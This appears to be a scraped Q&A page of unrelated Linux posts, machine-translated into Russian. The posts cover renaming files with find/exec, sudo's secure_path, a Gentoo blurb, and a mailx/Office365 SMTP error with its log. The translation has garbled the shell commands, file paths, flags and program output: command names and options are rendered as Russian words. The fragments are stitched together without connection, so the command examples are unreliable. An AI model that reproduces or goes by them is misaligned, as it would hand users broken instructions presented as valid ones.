yultsinbalova 14 нояб. 2012 г., 23:30:24

найти список файлов, а затем заменить ключевое слово. ниже пример

найти . -имя '*формат JPG' -Exec и Баш-с МВ $0 ${0/\#U00a9NBC/safeNBC}' {} \;

enter image description here

+71
AlexUnder 19 авг. 2015 г., 22:21:43
Gentoo-это источник на основе дистрибутива Linux разработан, чтобы быть автоматически оптимизирован и настроен в соответствии с потребностями пользователя.
+51
option8 26 июн. 2012 г., 08:58:40

Это выглядит как путь перезаписывается судо.

Вы должны проверить, чтобы увидеть, если файл/etc/пользователям использовать sudo? содержит secure_path=... установка и рекламы вашего Java путь к этому.


Опасайтесь простых тестов. Чтобы подтвердить ваш путь вы должны:

судо Баш-с 'Эхо $путь'

Чем проще форма судо Эхо $путь не работает, потому что путь разворачивается перед судо вызывается.

+45
leomar baccal 30 сент. 2014 г., 03:44:45

Я пытаюсь отправить письмо с помощью mailx через удаленный SMTP-сервер (в моем случае это office365 SMTP-сервер).

Вот команды:

# Echo "это текст письма" | mailx -В-С "это тема письма" -с использованием протокола SMTP использовать-команды -с SSL проверить=игнорировать -с смтп-авторизации=вход -с смтп=смтп://SMTP-сервер.office365.ком:587 -с [email protected][email protected] -с смтп-авторизации-пароль=пароль_пользователя [email protected] -с НСС-настройка-маршрутизатора Dir="/и т. д./ИПК/nssdb/"

И он завершается с ошибкой ниже:

НСС-настройка-маршрутизатора Dir=/и т. д./ИПК/nssdb/: нет такого файла или каталога
"//корень мертв.письмо" 11/339
Разрешения узла smtp.office365.com . . . сделано.
Подключение к 132.245.80.146 . . . связи.
220 BY2PR02CA0047.outlook.office365.com служба Microsoft ESMTP почтовой готов в среду, 5 ноября 2014 10:08:22 +0000
>>> EHLO в ИС-10-0-1-10.США-Запад-2.вычислить.внутренние
250-BY2PR02CA0047.outlook.office365.com Привет [54.201.139.35]
250-размер 78643200
250-конвейеризация
250-ДСН
250-ENHANCEDSTATUSCODES
250-STARTTLS, это
250-команда 8bitmime
250-binarymime и
250 лязг
>>> Команды
220 2.0.0 SMTP-сервер готов
Отсутствует "НСС-настройка-реж" переменной.
"//корень мертв.письмо" 11/339
. . . сообщение не отправлено.

Так что реальная ошибка НСС-настройка-маршрутизатора Dir=/и т. д./ИПК/nssdb/: нет такого файла или каталога

Теперь, у меня есть хороший каталог с необходимые сертификаты и ключи по мере необходимости по НСС-настройка-реж параметр как ниже:

# Общ -ЛД /и т. д./ИПК/nssdb/
директорию типа drwxr-XR-х. 2 корень корень 4096 авг 13 2013 /и/ИПК/nssdb/

# Общ -л /и/ИПК/nssdb/
итого 124
-РВ-р--р--. 1 корень 65536 12 января 2010 cert8.дБ
-РВ-р--р--. 1 корень 16384 12 января 2010 secmod.дБ
-РВ-р--р--. 1 корень 9216 12 января 2010 cert9.дБ
-РВ-р--р--. 1 корень корень 11264 12 января 2010 года key4.дБ
-РВ-р--р--. 1 корень корень 16384 12 января 2010 года ключ3.дБ
-РВ-р--р--. 1 корень 451 9 января 2013 года pkcs11.txt

Здесь находится информация о НСС-конфиг-реж от человека mailx:

 Каталог, содержащий файлы certN.дБ, чтобы получить сертификаты, Кейн.БД для извлечения закрытых ключей, и secmod.дБ, где N-это цифра.
 Эти данные обычно берутся из установок Mozilla, поэтому соответствующее значение может быть ‘~/.в Mozilla/Firefox В/по умолчанию.цлм’. Mailx открывает эти
 файлы только для чтения и не изменяет их. Однако, если файлы изменены Mozilla пока mailx работает, он будет печатать плохо
 сообщение базы данных. Это может быть необходимо создать копии этих файлов, которые используются исключительно по mailx тогда. Применимо только если S/MIME в
 и SSL/TLS поддержка построен с помощью служб сетевой безопасности (НСБ).

Я также имею в SELinux отключен:

# sestatus
Статус SELinux: отключен

Вопрос:

Почему mailx команда говорит НСС-настройка-маршрутизатора Dir=/и т. д./ИПК/nssdb/: нет такого файла или каталога встречаясь у меня есть каталог и причастное файлы в ней ?

Вот мое окружение информация:

# команды uname -а
Линукс ИС-10-0-1-10.США-Запад-2.вычислить.внутренние 2.6.32-358.14.1.el6.архитектуру x86_64 #1 SMP от Пн июн 17 15:54:20 по МСК x86_64 с 2013 архитектуру x86_64 архитектуру x86_64 GNU/Линукс

# команду -а
ЛСБ версия: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch
Идентификатор дистрибьютор: RedHatEnterpriseServer
Описание: красная шляпа предприятия Linux-сервер 6.4 выпуск (Сантьяго)
Релиз: 6.4
Кодовое Имя: Сантьяго

# РПМ-ОК | грэп mailx
mailx-12.4-6.el6.архитектуру x86_64
+22
Micheal Wells 10 мая 2013 г., 21:53:27

Показать вопросы с тегом